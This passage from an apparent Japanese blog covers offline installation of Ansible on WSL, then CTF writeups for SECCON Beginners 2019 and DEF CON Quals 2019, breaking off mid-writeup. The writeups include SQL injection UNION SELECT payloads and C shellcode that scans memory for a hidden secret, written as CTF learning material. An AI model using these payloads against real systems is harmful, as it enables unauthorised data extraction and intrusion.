        elif [ ${state} -eq 1 -a -n "${line}" ]; then
          pkg=`echo ${line} | awk '{ print $1 }'`
          echo ${pkg} | grep -v ':i386' > /dev/null && pkgs="${pkg} ${pkgs}"
        fi
      done < ${TMP}
    
      echo "${pkgs}"
    }
    
    get_depend_package()
    {
      local pkgs=""
      local pkg=""
    
      for pkg in `apt-rdepends $1 2> /dev/null | grep -v "^  "`; do
        check_virtual_package ${pkg}
        if [ $? -eq 0 ]; then
          pkg=`get_provide_package ${pkg}`
        fi
        pkgs="${pkgs} ${pkg}"
      done
    
      echo "${pkgs}"
    }
    
    download_deb_package()
    {
      local pkgs=""
      pkgs=`get_depend_package $1`
      apt download ${pkgs}
    }
    
    download_deb_package $1
    
  3. 上記のスクリプトに実行権限を付与する。
    $ chmod +x ./download_deb_package
    

2-2. ansibleに必要なパッケージをダウンロードする
debパッケージ)

  • ansible(必須)
    $ mkdir ansible_deb_packages
    $ cd ansible_deb_packages
    $ sudo ../download_deb_package ansible
    
  • python-pip(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir python-pip_deb_packages
    $ cd python-pip_deb_packages
    $ sudo ../download_deb_package python-pip
    
  • gcc(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir gcc_deb_packages
    $ cd gcc_deb_packages
    $ sudo ../download_deb_package gcc
    
  • python2.7-dev(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir python2.7-dev_deb_packages
    $ cd python2.7-dev_deb_packages
    $ sudo ../download_deb_package python2.7-dev
    
  • libffi-dev(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir libffi-dev_deb_packages
    $ cd libffi-dev_deb_packages
    $ sudo ../download_deb_package libffi-dev
    
  • libssl-dev(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir libssl-dev_deb_packages
    $ cd libssl-dev_deb_packages
    $ sudo ../download_deb_package libssl-dev
    

2-3. ansibleに必要なパッケージをダウンロードする
(pipパッケージ)

  • setuptools(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir setuptools_pip_packages
    $ cd setuptools_pip_packages
    $ pip download -d . --no-binary :all: setuptools
    
  • wheel(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir wheel_pip_packages
    $ cd wheel_pip_packages
    $ pip download -d . --no-binary :all: wheel
    
  • pywinrm(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir pywinrm_pip_packages
    $ cd pywinrm_pip_packages
    $ pip download -d . --no-binary :all: pywinrm
    

導入手順

1. WSLのインストール

1-1. WSL(Windows Subsystem for Linux)を有効にする

  1. 管理者モードでPowerShellを開き、以下のコマンドを入力する。
    PS> Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
    
  2. コンピュータを再起動する。

1-2. WSL用のDebianを起動する

  1. 事前に用意したDebianディストリビューションパッケージを持ってくる。
  2. PowerShellで以下のコマンドを実行し、Debianを起動する。
    PS> Rename-Item DebianGNULinux.Appx DebianGNULinux.zip
    PS> Expand-Archive DebianGNULinux.zip
    PS> .\DebianGNULinux\debian.exe
    
  3. ユーザ名とパスワードを設定する。

2. Ansibleのインストール

  1. 事前に用意したAnsible用のdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd ansible_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

3. python-pipのインストール
(AnsibleでWindowsも制御したい場合のみ)

3-1. python-pipをインストールする

  1. 事前に用意したpython-pip用のdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd python-pip_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

3-2. setuptoolsをアップデートする

  1. 事前に用意したsetuptoolsのpipパッケージを持ってくる。
  2. setuptoolsをアップデートする。
    $ sudo pip install --upgrade setuptools-41.0.1.zip
    
    ※ ちなみにアップデートしないと、以下のようなエラーが出てしまいます。
    Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-3l_UOj-build/
    

4. winrmのインストール
(AnsibleでWindowsも制御したい場合のみ)

4-1. wheelをインストールする

  1. 事前に用意したwheelのpipパッケージを持ってくる。
  2. wheelをインストールする。
    $ pip install wheel-0.33.4.tar.gz
    

4-2. gccをインストールする

  1. 事前に用意したgccdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd gcc_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-3. python2.7-devをインストールする

  1. 事前に用意したpython2.7-devのdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd python2.7-dev_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-4. libffi-devをインストールする

  1. 事前に用意したlibffi-devのdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd libffi-dev_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-5. libssl-devをインストールする

  1. 事前に用意したlibssl-devのdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd libssl-dev_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-6. pywinrmをインストールする

  1. 事前に用意したpywinrmのpipパッケージを持ってくる。
  2. pipパッケージをすべてインストールする。
    $ cd pywinrm_pip_packages
    $ pip install --no-index --find-links . *
    

おわりに

今回は、オフラインのWindows10環境にAnsibleを導入する手順について紹介しました。 ここまでやって、やっとAnsibleを使用するためのスタートラインに立つことができます。

大会当日は、手動で導入作業していたため、Ansibleが使用できるようになるまでに約40分掛かってしまいました。 このようにオフライン環境に一から導入するには、結構時間がかかってしまいます。 Ansibleの用途にもよりますが、単純なものであれば、シンプルなシェルスクリプトなどで代用することも検討に入れたほうがいいと思います。

参考にしたサイト

SECCON Beginners CTF 2019 Writeup

SECCON Beginners CTF 2019 について

SECCON Beginners CTF 2019が開催されました。
2019月5月25日 午後3時~5月26日 午後3時(24時間)

https://score.beginners.seccon.jp/score.beginners.seccon.jp

今回は、4人のチームで参加しました。結果は、72位で1291点でした。 これまで参加してきたDEFCONやTSGなどと違って易しい問題が多かったです。

f:id:tsalvia:20190529023654p:plain

SECCON Beginners CTF 2019 Writeup
(7問)

私が実際に解いた7つの問題だけ紹介します。

[Web] Ramen

問題

ラーメン https://ramen.quals.beginners.seccon.jp

解答例

https://ramen.quals.beginners.seccon.jp にアクセスしてみると、ラーメン屋の店員紹介ページが表示されました。

f:id:tsalvia:20190529013634p:plain

名前の入力欄があるようです。 試しに「'」と入力してみると、PHPのエラーが表示されました。SQLインジェクションができそうです。

Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11

いろいろ入力してみると、以下の入力でテーブル名一覧を取得することができました。

' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS -- 

f:id:tsalvia:20190529012814p:plain
省略
f:id:tsalvia:20190529012833p:plain

flagというテーブルがあるようです。 以下のように入力してみると、フラグを取得することができました。

' UNION SELECT flag, null FROM flag -- 

f:id:tsalvia:20190529012657p:plain

FLAG

ctf4b{a_simple_sql_injection_with_union_select}

[Web] katsudon

問題

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。
https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

解答例

とりあえず、https://katsudon.quals.beginners.seccon.jp にアクセスしてみると、3つのシリアルコードが書かれていました。

f:id:tsalvia:20190529011100p:plain

BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6
BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10
BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140

最後のシリアルコードだけ==という文字列があり、Base64エンコードされているように見えます。 それぞれデコードしてみると、以下の通りになり、店名が出てきました。

..I".reiwahanten.:.ET
..I".heiseishokudou.:.ET
..I".restaurantshowa.:.ET

次に https://katsudon.quals.beginners.seccon.jp/flag に確認すると、シリアルコードだけが書かれていました。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

同様にBase64でデコードしてみると、フラグが出てきました。

..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ET

フラグ

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

[Reversing] Seccompare

問題

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped

ELFファイルだったので、Ghidraで開いてみました。 f:id:tsalvia:20190528233959p:plain

1文字ずつ値を代入し、strcmpで比較しているようです。 ltraceで関数呼び出しをトレース出力してみると、strcmp関数による比較処理で、フラグを確認することができました。

$ ltrace ./seccompare aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 2
puts("wrong"wrong
)                                                             = 6
+++ exited (status 0) +++

FLAG

ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Crypto] So Tired

問題

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file encrypted.txt
encrypted.txt: ASCII text, with very long lines, with no line terminators

普通のテキストファイルのようなので中身を確認してみました。 末尾のほうを見ると==となっていたので、Base64エンコードされているようです。

省略
OS79ZdkY3RZVE55QKbgtlPXoZ5vgL0L4ig5FFk07kYmt9oP4+xY8VKB7Iqh9I+5+K5v4B8HzgzA==

ここからは、CyberChefで作業しました。
まず、「From Base64」でデコードすると、zlibで圧縮されたデータが出てきました。

f:id:tsalvia:20190529001913p:plain

次に、「Zlib Inflate」で展開してみると、またBase64らしきデータが出てきました。

f:id:tsalvia:20190529002206p:plain

もう一度、「From Base64」でデコードすると、またzlibで圧縮されたデータが出てきました。

「From Base64」→「Zlib Inflate」を繰り返し展開していく問題のようです。 「Label」と「Conditional Jump」を使って、ctf4bという文字列が現れるまでループさせるとフラグを取得することができました。

f:id:tsalvia:20190529003012p:plain

FLAG

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

[Misc] Welcome

問題

SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf

解答例

IRC: freenode.net と書かれていたので、freenode.netで検索すると、IRCのサービスが出てきました。

Kiwi IRC

「Channels」に「#seccon-beginners-ctf」と入力して「Connect」を押すと、 SECCON Beginners CTF 2019の運営に質問するためのチャンネルに接続できました。

f:id:tsalvia:20190529004841p:plain

チャンネルの説明欄にフラグが書かれていました。

f:id:tsalvia:20190529005005p:plain

FLAG

ctf4b{welcome_to_seccon_beginners_ctf}

[Misc] containers

問題

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file e35860e49ca3fa367e456207ebc9ff2f_containers
e35860e49ca3fa367e456207ebc9ff2f_containers: data

dataと表示され、よく分からないのでbinwalkコマンドを実行してみました。

$ binwalk e35860e49ca3fa367e456207ebc9ff2f_containers

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107           0x6B            Zlib compressed data, compressed
738           0x2E2           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829           0x33D           Zlib compressed data, compressed
1334          0x536           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
1425          0x591           Zlib compressed data, compressed
1914          0x77A           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2005          0x7D5           Zlib compressed data, compressed
2856          0xB28           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2947          0xB83           Zlib compressed data, compressed
3666          0xE52           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
3757          0xEAD           Zlib compressed data, compressed
4354          0x1102          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
4445          0x115D          Zlib compressed data, compressed
5156          0x1424          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
5247          0x147F          Zlib compressed data, compressed
5846          0x16D6          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
5937          0x1731          Zlib compressed data, compressed
6722          0x1A42          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
6813          0x1A9D          Zlib compressed data, compressed
7757          0x1E4D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
7848          0x1EA8          Zlib compressed data, compressed
8338          0x2092          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
8429          0x20ED          Zlib compressed data, compressed
9243          0x241B          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
9334          0x2476          Zlib compressed data, compressed
10319         0x284F          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
10410         0x28AA          Zlib compressed data, compressed
11042         0x2B22          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
11133         0x2B7D          Zlib compressed data, compressed
12118         0x2F56          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
12209         0x2FB1          Zlib compressed data, compressed
12809         0x3209          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
12900         0x3264          Zlib compressed data, compressed
13845         0x3615          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
13936         0x3670          Zlib compressed data, compressed
14592         0x3900          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
14683         0x395B          Zlib compressed data, compressed
15535         0x3CAF          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
15626         0x3D0A          Zlib compressed data, compressed
16440         0x4038          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
16531         0x4093          Zlib compressed data, compressed
17313         0x43A1          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
17404         0x43FC          Zlib compressed data, compressed
18218         0x472A          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
18309         0x4785          Zlib compressed data, compressed
19123         0x4AB3          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
19214         0x4B0E          Zlib compressed data, compressed
19926         0x4DD6          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
20017         0x4E31          Zlib compressed data, compressed
20869         0x5185          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
20960         0x51E0          Zlib compressed data, compressed
21742         0x54EE          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
21833         0x5549          Zlib compressed data, compressed
22465         0x57C1          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
22556         0x581C          Zlib compressed data, compressed
23408         0x5B70          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
23499         0x5BCB          Zlib compressed data, compressed
23989         0x5DB5          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
24080         0x5E10          Zlib compressed data, compressed
24810         0x60EA          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
24901         0x6145          Zlib compressed data, compressed
25753         0x6499          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
25844         0x64F4          Zlib compressed data, compressed
26788         0x68A4          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
26879         0x68FF          Zlib compressed data, compressed
27599         0x6BCF          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
27690         0x6C2A          Zlib compressed data, compressed
28504         0x6F58          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
28595         0x6FB3          Zlib compressed data, compressed
29085         0x719D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29176         0x71F8          Zlib compressed data, compressed
29808         0x7470          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29899         0x74CB          Zlib compressed data, compressed
30844         0x787C          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
30935         0x78D7          Zlib compressed data, compressed
31524         0x7B24          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
31615         0x7B7F          Zlib compressed data, compressed

PNG形式のデータが複数混ざっているようです。 foremostコマンドで抽出してみます。

$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers
Processing: e35860e49ca3fa367e456207ebc9ff2f_containers
|*|

抽出したファイルを確認すると、画像に文字が書かれており、フラグになっていました。

f:id:tsalvia:20190529004206p:plain

FLAG

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

[Misc] Sliding puzzle

問題

nc 133.242.50.201 24912

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。 ----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------

0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。

----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------

操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

解答例

netcatで 133.242.50.201:24912 に接続してみると、以下のように表示されました。

$ nc 133.242.50.201 24912
----------------
| 03 | 01 | 04 |
| 00 | 05 | 02 |
| 06 | 07 | 08 |
----------------

0,0,0,0,0,0
[-] Incorrect answer.

10秒でタイムアウトしてしまうようなので、プログラムを書いて解いていく問題のようです。 8パズルを解くプログラムを1から組むのは大変なので、検索していると幅優先探索で8パズルを解いているブログがありました。

py3.hateblo.jp

上記のブログのプログラムを参考に今回の問題を解いていきます。

# 8-puzzle.py
from collections import deque
from pwn import *

MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)}  # (x,y)

def get_next(numbers):
    for d in 'UDLR':
        zero_index = numbers.index(0)
        tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1]
        if 0 <= tx < 3 and 0 <= ty < 3:
            target_index = ty * 3 + tx
            result = list(numbers)
            result[zero_index], result[target_index] = numbers[target_index], 0
            yield d, tuple(result)

def checkio(puzzle):
    queue = deque([(tuple(n for line in puzzle for n in line), '')])
    seen = set()
    while queue:
        numbers, route = queue.popleft()
        seen.add(numbers)
        # if numbers == (1, 2, 3, 4, 5, 6, 7, 8, 0):
        if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
            return route
        for direction, new_numbers in get_next(numbers):
            if new_numbers not in seen:
                queue.append((new_numbers, route + direction))

p = remote('133.242.50.201', 24912)

count = 1
while True:
    try:
        puzzle = []
        for _ in range(3):
            p.readuntil('| ')
            read_line = p.readline().strip().replace(' ', '').split('|')
            puzzle_row = [int(read_line[0]), int(read_line[1]), int(read_line[2])]
            puzzle.append(puzzle_row)

        answer_UDLR = checkio(puzzle)
        answer = answer_UDLR    \
            .replace('U', '0,') \
            .replace('D', '2,') \
            .replace('L', '3,') \
            .replace('R', '1,')[:-1]

        p.sendline(answer)

        print('-----' + str(count) + '-----')
        print(puzzle)
        print(answer)

        count += 1
    except EOFError:
        break

p.interactive()

上記のプログラムを実行してみると、100問解いた後にフラグが表示されました。

$ python 8-puzzle.py
[+] Opening connection to 133.242.50.201 on port 24912: Done
-----1-----
[[0, 2, 5], [1, 3, 8], [6, 4, 7]]
2,1,2,1,0,0,3,3
-----2-----
[[4, 3, 2], [6, 1, 8], [0, 5, 7]]
0,0,1,2,2,1,0,3,3,0
-----3-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
-----4-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
-----5-----
[[1, 2, 5], [3, 4, 0], [6, 7, 8]]
0,3,3

省略

-----96-----
[[1, 4, 2], [6, 3, 5], [0, 7, 8]]
0,1,0,3
-----97-----
[[1, 4, 2], [3, 0, 7], [6, 8, 5]]
1,2,3,0,0,3
-----98-----
[[3, 1, 2], [7, 6, 5], [0, 4, 8]]
0,1,2,3,0,0
-----99-----
[[3, 1, 2], [0, 7, 5], [4, 6, 8]]
2,1,0,3,0
-----100-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
[*] Switching to interactive mode
----------------

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
[*] Got EOF while reading in interactive

FLAG

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

DEF CON CTF Qualifier 2019 Writeup

DEF CON CTF Qualifier 2019 について

毎年恒例のDEF CON予選が開催されました。
2019年5月11日(土)午前9時~5月13日(月)午前9時まで(48時間)

www.oooverflow.io

私は3問しか解くことができませんでした。結果は、153位で310点でした。 ほとんどがPWN系の問題でかなり難しいといった印象でした。

f:id:tsalvia:20190514051219p:plain

DEF CON CTF Qualifier 2019 Writeup(3問)

[FIRST CONTACT] WELLCOME_TO_THE_GAME

問題

Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :)
If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D

添付ファイル(flag)

OOO{Game on!}

解答例

flagファイルをcatコマンドで表示するだけ

$ cat flag
OOO{Game on!}

FLAG

OOO{Game on!}

[FIRST CONTACT] KNOW_YOUR_MEM

問題

Find the flag page in memory, 64-bit edition. Timeouts are strict, please test locally first! There's a simplified version to help with that.
know_your_mem.quals2019.oooverflow.io 4669

添付ファイル

解答例

とりあえず、README.mdやshellcode.cなどを参考にビルドしてみました。 私の環境だとgetrandomシステムコールがなかったので、少しソースコードを調整しました。 また、alarm関数があり、中断されるのでそこもコメントアウトしました。

know_your_mem.cとsimplified.cの修正箇所

// #include <sys/random.h>
  • 40行目のコメントを戻す
int fd = open("/dev/urandom", O_RDONLY); if (read(fd, &ret, sizeof(ret)) != sizeof(ret)) { err(47, "urandom"); } close(fd);
// if (getrandom(&ret, sizeof(ret), GRND_NONBLOCK) != sizeof(ret)) err(47, "getrandom");
// alarm(10);

必要なパッケージのインストール、権限設定を行います。

$ sudo apt install libseccomp-dev libseccomp2
$ git clone https://chromium.googlesource.com/linux-syscall-support
$ chmod +x topkt.py

README.mdにある通りに make check をすると以下の通りになります。

$ make check
./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x1d8cfbca6000
[ ] Putting red herrings in memory...
[H] Red herring at 0x1c6adb0bc000
[H] Red herring at 0x1ede9e616000
[H] Red herring at 0x1492e76a5000
[H] Red herring at 0x1b9afff9d000
[H] Red herring at 0x15bea09ed000
[H] Red herring at 0x15bd1d2dc000
[H] Red herring at 0x1ec8383dd000
[H] Red herring at 0x1d90cf8cd000
[H] Red herring at 0x10e19c9bd000
[H] Red herring at 0x176bcd88d000
[H] Red herring at 0x165d121fb000
[H] Red herring at 0x1f26fc306000
[H] Red herring at 0x183b81dff000
[H] Red herring at 0x1e47eccb1000
[H] Red herring at 0x1afc15a34000
[H] Red herring at 0x15ad9b443000
[H] Red herring at 0x16e1dec4d000
[H] Red herring at 0x1e45e4bbd000
[H] Red herring at 0x149657cdf000
[H] Red herring at 0x19e7a56c9000
[H] Red herring at 0x1a6c4a3b5000
[H] Red herring at 0x1eb70b0c6000
[H] Red herring at 0x1aee559f9000
[H] Red herring at 0x1e334063d000
[H] Red herring at 0x189b2c68a000
[H] Red herring at 0x1bc581407000
[H] Red herring at 0x1b408858a000
[H] Red herring at 0x1a78fd20f000
[H] Red herring at 0x16db44b80000
[H] Red herring at 0x1f26e0d3f000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[*] Your shellcode returned 0x123456
[!] Sorry, you didn't find the secret address.
Makefile:27: ターゲット 'check' のレシピで失敗しました
make: *** [check] エラー 1

flagが書き込まれたメモリ領域を引き当てることができれば、フラグを取得できそうだということが分かりました。 shellcodeを記述できるような環境も揃っているようなので、そちらを利用して検証してみます。

まずは、ヒントとして用意されているsimplified.cとsimplified_shellcode.so.cを使って問題を解いてみます。 simplified_shellcode.so.cを編集して以下のプログラムを書きました。

  1. メモリ領域(0x00001ffffffff000~0x0000100000000000)を1ページ(4096byte)ずつ探索する。
  2. 見つけた領域をmprotectシステムコールを使って、READ権限の付与を行う。
    • mprotectシステムコールは、確保されたメモリ領域でなければ、ENOMEMエラーを返す。 エラーが返ってこなければ、すでに確保された領域だと判定できる。
    • 今回は適当にREAD権限の付与を行った。
  3. 確保されたメモリ領域を見つけたら、printf関数で表示する。
  4. OOO」の文字列を見つけたら、探索を終了する。
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <string.h>

#define ADDR_MIN   0x0000100000000000UL
#define ADDR_MASK  0x00000ffffffff000UL

#define hint(x, ...) fprintf(stderr, "[H] " x, __VA_ARGS__)

void *shellcode()
{
        uintptr_t offset;
        void *addr = 0;

        printf("Hi! Soon I'll be your shellcode!\n");

        for (offset = 0xffffffff; offset >= 0; offset--) {
                addr = (void *)(((offset << 12) & ADDR_MASK) + ADDR_MIN);

                if (mprotect(addr, 4096, PROT_READ) != 0)
                        continue;

                hint("%p: Allocated Memory Found\n", addr);
                hint("%.100s\n", (char *)addr);
                if (strncmp(addr, "OOO", 3) == 0)
                        break;
        }
        return addr;
}

実行結果は、以下の通りになります。

$ ./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x1d384bdf8000
[ ] Putting red herrings in memory...
[H] Red herring at 0x11c0a1626000
[H] Red herring at 0x15335a290000
[H] Red herring at 0x107d3964d000
[H] Red herring at 0x144355ee4000
[H] Red herring at 0x160aa56e7000
[H] Red herring at 0x175715a7c000
[H] Red herring at 0x1400c3e53000
[H] Red herring at 0x1f44346ca000
[H] Red herring at 0x195005f03000
[H] Red herring at 0x1ec52dce4000
[H] Red herring at 0x151ddf5cb000
[H] Red herring at 0x15aadcfbd000
[H] Red herring at 0x16f8cfca7000
[H] Red herring at 0x151605b97000
[H] Red herring at 0x13d2c86e9000
[H] Red herring at 0x10e899e43000
[H] Red herring at 0x10039b2ee000
[H] Red herring at 0x1d2e14bbf000
[H] Red herring at 0x1ce7b022d000
[H] Red herring at 0x184fd3ee9000
[H] Red herring at 0x1a27962ff000
[H] Red herring at 0x1ca467878000
[H] Red herring at 0x11118208c000
[H] Red herring at 0x185c01d03000
[H] Red herring at 0x1c5835743000
[H] Red herring at 0x114620a2e000
[H] Red herring at 0x10a01139a000
[H] Red herring at 0x12fae2514000
[H] Red herring at 0x120eba409000
[H] Red herring at 0x131e1400a000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[H] 0x1f44346ca000: Allocated Memory Found
[H] Sorry, this is just a red herring page. Keep looking!
[H] 0x1ec52dce4000: Allocated Memory Found
[H] Sorry, this is just a red herring page. Keep looking!
[H] 0x1d384bdf8000: Allocated Memory Found
[H] OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, s
[*] Your shellcode returned 0x1d384bdf8000
[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.

次に上記の結果を基にshellcode.cを編集してRAWシェルコードを作成しました。

static int my_errno = 0;
#define SYS_ERRNO my_errno
#include "linux-syscall-support/linux_syscall_support.h"

#define PAGE_SIZE  4096
#define ADDR_MIN   0x0000100000000000UL  // Low-ish
#define ADDR_MASK  0x00000ffffffff000UL  // Page-aligns
#define ADDR_MAX   (ADDR_MASK + ADDR_MIN + PAGE_SIZE)
#define N_FAKES    30

void _start()
{
        void *addr = (void *)ADDR_MAX;
        int i;

        for (i = 0; i < N_FAKES + 1; i++) {
                do {
                        addr -= PAGE_SIZE;
                } while (sys_mprotect(addr, PAGE_SIZE, 1) != 0);
                sys_write(1, addr, PAGE_SIZE);
        }
        sys_exit_group(2);
}

flagが書き込まれたメモリ領域は、ランダムで決まります。 10秒以内でflagが書き込まれたメモリ領域が見つかることを祈って、何回か実行させました。 200回程度の試行回数で発見することができました。

#!/bin/bash

echo "pid: $$"

count=0
echo -en "try: $count"

while :
do
        nc know_your_mem.quals2019.oooverflow.io 4669 < shellcode.bin.pkt >> $$.log

        FLAG=`grep -a OOO $$.log`
        if [ "$FLAG" ]; then
                echo -e "\n$FLAG"
                break
        fi

        let count++
        echo -en "\rtry: $count"
done
$ make shellcode.bin.pkt
$ chmod +x ./solve.bash
$ ./solve.bash
pid: 7626
try: 200
OOO: You found it, congrats! The flag is: OOO{so many bits, so many syscalls}

FLAG

OOO{so many bits, so many syscalls}

[FIRST CONTACT] CANT_EVEN_UNPLUG_IT

問題

You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…

添付ファイル(HINT)

Hint: these are HTTPS sites. Who is publicly and transparently logging the info you need?
Just in case: all info is freely accessible, no subscriptions are necessary. The names cannot really be guessed. 

解答例

問題文を要約すると、以下の通りになります。

  1. HTML5で書かれたWebサイトを作成した。
